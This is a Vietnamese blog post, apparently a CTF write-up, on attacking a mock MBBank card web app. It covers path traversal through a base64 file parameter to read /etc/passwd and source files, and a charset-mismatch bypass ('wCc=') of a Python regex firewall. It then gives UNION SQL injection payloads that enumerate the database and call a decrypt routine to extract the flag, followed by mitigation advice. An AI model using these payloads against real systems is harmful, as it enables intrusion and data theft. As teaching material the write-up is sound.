Back to Blog

#Tổng quan

Ứng dụng web là một dịch vụ thể của MBBank, có các ảnh khác nhau

Các chức năng khác như Home, About hay Contact đều dẫn tới gif này

#Khai thác

#SQL Injection

Ở mỗi ảnh thẻ khác nhau, biến file thay đổi các chuỗc khác nhau

Khi decode base64 thì ta nhận được tên ảnh gốc

Ta biết flag ở trong database, nên có lẽ lỗ hổng sẽ là sql injection, ta thử một payload đơn giản trước

Thử một dấu ' để đóng chuỗi thử ta nhận được một pattern regex mà firewall chặn

python
r"('|--|\bOR\b|\bAND\b|\bUNION\b|\bSELECT\b|\bINSERT\b|\bUPDATE\b|\bDELETE\b|\bDROP\b)"

Tức là input của ta sẽ bị validate những từ ngữ và kí tự này, như ta thấy có dấu ' bị filter ở đầu tiền, các từ như OR, AND, UNION, comment,... cũng bị đưa vào validation

Nhưng có thể thử với chữ in thường

Thấy nó vẫn trả ra 403, nên có thể input trước khi check trong pattern kia, nó được đưa vào hàm uppercase trước?

\bOR\b để check khi khớp cả từ, chỉ khớp khi là một từ độc lập, vậy liệu có thể sử dụng '\**\or\**\ để nó là liền một khối sẽ không bị check?

Nhưng nó vẫn bị, sau khi thử rất nhiều payload, các cách bypass khác nhau trong nhiều tài liệu, nó vẫn trả ra null kèm theo ảnh the rock

Các payload và technique được ứng dụng và biến thể từ các tài liệu:

và còn nhiều tài liệu khác nhưng vẫn là null với the rock..

#Path Traversal

Có một điều hơi khó hiểu ở phía backend là tại sao tên file nếu xóa extension thì vẫn có thể hiện ra đúng tên thẻ, còn ảnh thì không

Có thể tên file được check sau khi xóa extension sau dấu chấm?, còn ảnh thì cần tên file đầy đủ để gắn vào path gì đó ví dụ như /images/filename, nên nếu không đầy đủ thì sẽ trả ra the rock, tôi có thể thêm một extension nữa vào thì trả ra null

Vậy khả năng cao là nó tách từ dấu chấm cuối cùng, nên lần này mới không tồn tại filename đó và trả ra null

Vậy có thể dùng path để path traversal

Ta thấy nó trả ra ảnh nhưng tên lại null, vì lần này path đúng, nhưng tên sai, vậy rõ ràng ta có thể path traversal

Thử payload ../../../../../etc/passwd rồi base64 ta nhận được nội dung của file /etc/passwd đó

Sau khi thử ở /etc/shadow để nếu có ssh hash biết đâu có thể crack :>, nhưng file_get_content không có quyền root nên không để đọc được

Và ta có thể lấy được file mã nguồn, vì đây là ứng dụng php nên có thể sẽ là index.php, và đúng là thật, vậy là có mã nguồn, và lấy được conn.php là có thể thông tin về server, dbname, usernamepassword của database

index.php

conn.php Và ta biết thêm được rằng database được sử dụng là MySQL

#SQLi tiếp (PoC)

Tiếp sqli sau khi tìm được source code thông qua path traversal, đúng là có lỗi sql injection ở query SELECT description FROM cards WHERE name = '$cardname', nhưng firewall chặn dấu ' để escape và nối query nên để sqli lấy flag vẫn đang khá khó

Sau khi tìm hiểu thêm một vài docs thì tôi thấy có bài viết này

nói về có thể thực thi trong comment

query được thực thi thành công, description được trả ra đúng, nhưng vẫn chưa gây sleep, có thể do vẫn ở trong cặp nháy nên nó không được coi là comment?

Nếu trong code không có validation cho sqli, thì rõ ràng phải tìm cách bypass firewall, theo thông báo thì nhìn giống firewall là python, với input base64, cả firewall và server cần decode để lấy data, firewall để check còn server để thực hiện sql query

Vậy có thể có trường hợp data đặc biệt được base64, hàm base64 decode của python sẽ decode ra một kiểu khác, hàm base64 decode của php lại ra ký tự ' mà python decode ra khác trước đó là ta có thể bypass firewall

https://stackoverflow.com/questions/305140/base64ing-unicode-characters

Và sau khi một hồi research thì cũng có vài tài liệu kèm với AI

Tôi thử payload wCc=

Mặc dù có dấu ' nhưng firewall không hề block, vậy có khả năng ta đã bypass firewall thành công, đúng như tôi suy nghĩ bên trên là fw và server decode khác nhau

ChuỗiwCc= (byte b'\xc0\x27') bypass firewall Python vì khi decode và chuyển sang UTF-8 với errors='replace', nó thành �, không chứa dấu ', nên không bị regex r"('|--|\bOR\b|\bAND\b|\bUNION\b|\bSELECT\b|\bINSERT\b|\bUPDATE\b|\bDELETE\b|\bDROP\b)" chặn. Trên server PHP, b'\xc0\x27' được giải mã và, với kết nối cơ sở dữ liệu latin1 là loại mã hóa 1 byte phổ biến trong MySQL, byte 0x27 thành dấu ', và khi đã bị lỗi decode, tất cả các dấu và từ phía sau đều lỗi, nên ta có thể sử dụng các câu lệnh có trong regex mà không bị chặn nữa

hãy thử xem payload

nó vẫn không thực thi, không hề sleep 20 giây, sau khi bypass fw, có lẽ cần đọc code của server kĩ hơn

Ở payload mình chưa có dấu . nên substr sẽ trả ra rỗng, khiến payload bị lỗi

Sửa payload thêm dấu chấm ở cuối

Thành công sql injection, giờ ta chỉ cần union để lấy flag, vì payload chứa kí tự đặc biệt nên tui viết ở dạng base64 của nó

payload: hhuhu{wCc=}' UNION SELECT schema_name FROM information_schema.schemata #. - xem tất cả các database ta xem được tất cả các db, và mb_credit_card giống trong conn.php

payload: hhuhu{wCc=}' UNION SELECT table_name FROM information_schema.tables WHERE table_schema = database() #. - lấy tên các table trong database hiện tại Chỉ có một table là cards

payload: hhuhu{wCc=}' UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'cards' #. - lấy các cột trong bảng cards Ta lấy được 3 cột là description, idname

payload: hhuhu{wCc=}' UNION SELECT CONCAT(id, '|', name, '|', description) FROM cards #. Nhưng không có flag, tôi đã check nhiều nơi nhưng vẫn không thấy, cả trong các database khác, nhưng đã exploit thành công sql injection để đọc data

Liệu có thể có impact lớn hơn, tôi có thử payload để ghi file ra ngoài nhằm ghi web shell, nhưng có vẻ không đủ quyền nên không thành công, thêm cả INSERT hoặc DELETE đều không thành công

Ta thấy description của vong-tay hiển thị các kí tự đặc biệt, như một dạng mã hóa hoặc lỗi, nhưng tôi biết hint là database encrypt data với custom function, giờ ta cần tìm ra hàm đó

Trong database hiện tại là mb_credit_card chỉ có table cards như ta tìm ở trên, giờ ta cần tìm hàm decrypt cho phần description của db này https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html

Đây là các hàm encrypt và decrypt trong mysql, nhưng do data kia được encrypt bằng custom function, có lẽ nó được định nghĩa riêng

Ta sẽ xem trong bảng ROUTINE trong database information_schema https://dev.mysql.com/doc/refman/8.0/en/information-schema-routines-table.html Các thông tin ta nên xem để biết routine đó thuộc loại nào và của database nào

payload: hhuhu{wCc=}' UNION SELECT ROUTINE_NAME FROM information_schema.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql', 'information_schema') #.

payload này sẽ lấy tên ROUTINE_NAME từ bảng ROUTINE và loại ra các routine_schema mặc định như mysql hoặc information_schema

Ta thấy có 2 ROUTINE_NAME khả nghi là ENC_DESCRIPTION_giu2iBkf8HFMYv6lCD69GsEvS9YOHRYqDECRYPT_DESCRIPTION_iSzdBeuikNFwekdvvY2Y3LrpcxruHgP4, tên là encrypt và decrypt description, vậy có khả năng chính là key hoặc hàm để giải mã description trong bảng cards tại database mb_credit_card

Ta sẽ check xem loại của chúng là gì payload: hhuhu{wCc=}' UNION SELECT GROUP_CONCAT(routine_name, ':', routine_type, ':', routine_schema) FROM information_schema.routines WHERE routine_name='DECRYPT_DESCRIPTION_iSzdBeuikNFwekdvvY2Y3LrpcxruHgP4' #.

DECRYPT_DESCRIPTION_iSzdBeuikNFwekdvvY2Y3LrpcxruHgP4:FUNCTION:mb_credit_card Ta thấy DECRYPT_DESCRIPTION_iSzdBeuikNFwekdvvY2Y3LrpcxruHgP4 có type là một function và database nó thuộc về là mb_credit_card

Ta có thể xem ROUTINE_DEFINITION của hàm đó để biết nó được định nghĩa như nào payload: hhuhu{wCc=}' UNION SELECT ROUTINE_DEFINITION FROM information_schema.ROUTINES WHERE ROUTINE_NAME = 'DECRYPT_DESCRIPTION_iSzdBeuikNFwekdvvY2Y3LrpcxruHgP4' #. Nhưng nó không trả ra gì hết, có thể ta không đủ quyền để xem

Vậy ta có thể thử gọi luôn hàm đó để decrypt payload: hhuhu{wCc=}' UNION SELECT DECRYPT_DESCRIPTION_iSzdBeuikNFwekdvvY2Y3LrpcxruHgP4(description) FROM cards #.

Thành công lấy decrypt description và lấy flag

txt
FLAG: FLAG{https://www.youtube.com/watch?v=QlRVICaN0RY#_IaC+u9)nW^GsJUQg{YJbbD[Ghy_+!3zk@*(*wGy/9CHhmYZ`z&+s%:~a(l)!@r4m@|WCoxiCV#3VORSC4&n,auoaZB>06T~Gp16I}`

#Use-after-free? (Nếu hệ thống có binutils/c++filt dưới 2.32)

Ngoài ra ta thấy ứng dụng có firewall

Tôi thấy phiên bản GCC này có CVE-2021-37322 với lỗ hổng Use-After-Free nếu trong hệ thống có binutils/c++filt dưới 2.32

#Prevention, Mitigation & Detection

Về phòng tránh và giảm thiểu:

#Với SQL Injection

Prevent & Mitigate

  • Sử dụng database firewall

  • Sử dụng prepared statement với parameter binding thay vì nối chuỗi trực tiếp param vào câu query như thế

Đổi query thành SELECT description FROM cards WHERE name = ?$stmt->bind_param("s", $cardname) để bind param, hoặc có thể sử dụng PDO, ORM,.. các thư viện an toàn (nhưng cần triển khai đúng, nếu không các thư viện vẫn có thể bị tấn công - https://slcyber.io/assetnote-security-research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/)

  • Thêm input validation, nên chỉ chứa các ký tự hợp lệ, có thể check bằng regex pattern, giới hạn độ dài chuỗi input,..

  • Nếu chỉ có số card nhất định, có thể whitelist chúng và chỉ cho phép trong đó

  • Chia quyền theo chức năng, khôgn nên để các account web có toàn quyền

  • Tách database quan trọng, nhạy cảm riêng, hạn chế truy cập

  • encrypt data nhạy cảm

Detect

  • giám sát log, xem xem có các truy vấn sql bất thường như có chứa ', SELECT hay UNION,... bất thường

  • Sử dụng các công cụ phát hiện hành vi tấn công SQLi

  • Xem alert từ waf

#Với Path traversal

Prevent & Mitigate

Nguyên nhân là do không validate đường dẫn file, không check các ký tự đặc biệt và cho phép truy cập ngoài thư mục (images)

  • Cần path validation như sử dụng hàm realpath(), check lại file xem có năm trong thư mục images không, hoặc có base_directory thì sẽ so sánh

  • Whiteliste extension hợp lệ như .jpg, .png.gif, dùng hàm pathinfo() để check extension

  • Dùng is_file() có thể tốt hơn file_exits(), check để loại nhiều non-file hơn

  • Phân quyền đúng, web server không nên có quyền đọc file hệ thống, trừ khi là một chức năng đặc biệt thì cần validate kĩ

  • Giới hạn folder được truy cập

  • Ẩn cấu trúc của hệ thống

  • Không hiển thị thông tin path hoặc system error cho người dùng

Detect

  • Giám sát log try cập, ghi log HTTP và check các chuỗi như ../, %2e%2e%2f,...
  • Check đầu vào bất thường
  • Sử dụng tool như WAF hay IDS, dùng regex pattern cho log

#Use after free

Lỗi này không confirm được, nhưng nếu có bộ tool binutils/c++filt trong hệ thống thật thì sẽ gây ảnh hưởng, nên update gcc lên phiên bản mới nhất